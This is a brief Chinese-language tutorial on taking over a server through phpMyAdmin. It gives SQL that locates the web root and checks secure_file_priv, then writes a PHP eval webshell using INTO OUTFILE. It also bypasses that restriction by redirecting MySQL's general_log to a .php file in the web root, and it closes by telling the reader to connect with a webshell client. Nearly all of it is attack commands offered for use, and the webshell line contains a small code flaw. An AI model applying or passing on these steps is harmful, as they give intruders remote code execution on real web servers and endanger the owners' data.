phpmyadmin后台Getshell
獲取 web 絕對路徑
select @@basedir;
檢測是否有寫入權限
show global variables like 'secure%' ##查看secure_file_priv
值,結果若為NULL
,則不能使用loadfile,into outfile進行讀寫文件
寫入webshell
secure_file_priv為空
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\soft\\phpStudy\\www\\eval.php'
secure_file_priv為路徑
- 值為路徑時,只能webshell寫入此路徑
- 值為null時,不能寫入webshell
突破 secure_file_priv限制
mysql中有兩個全局變量是我們getshell需要用到的重要變量:
general_log
general_log_file
general_log 是mysql中記錄sql操作的日志,所有的查詢語句會記錄在一個日志文件中,但因為時間長了會導致日志文件非常大,所以默認為關閉,有時候在管理員需要進行排錯時才會暫時性的打開這個變量
show variables like 'general_log%';
首先打開操作日志記錄
set global general_log = 'ON';
設置操作記錄日志路徑
set global general_log_file='D:\\phpstudy\\WWW\\e.php'
執行sql語句,將webshell執行的語句內容記錄到文件中,就可以getshell了
select '<?php phpinfo();?>'
然后用菜刀訪問e.php就行了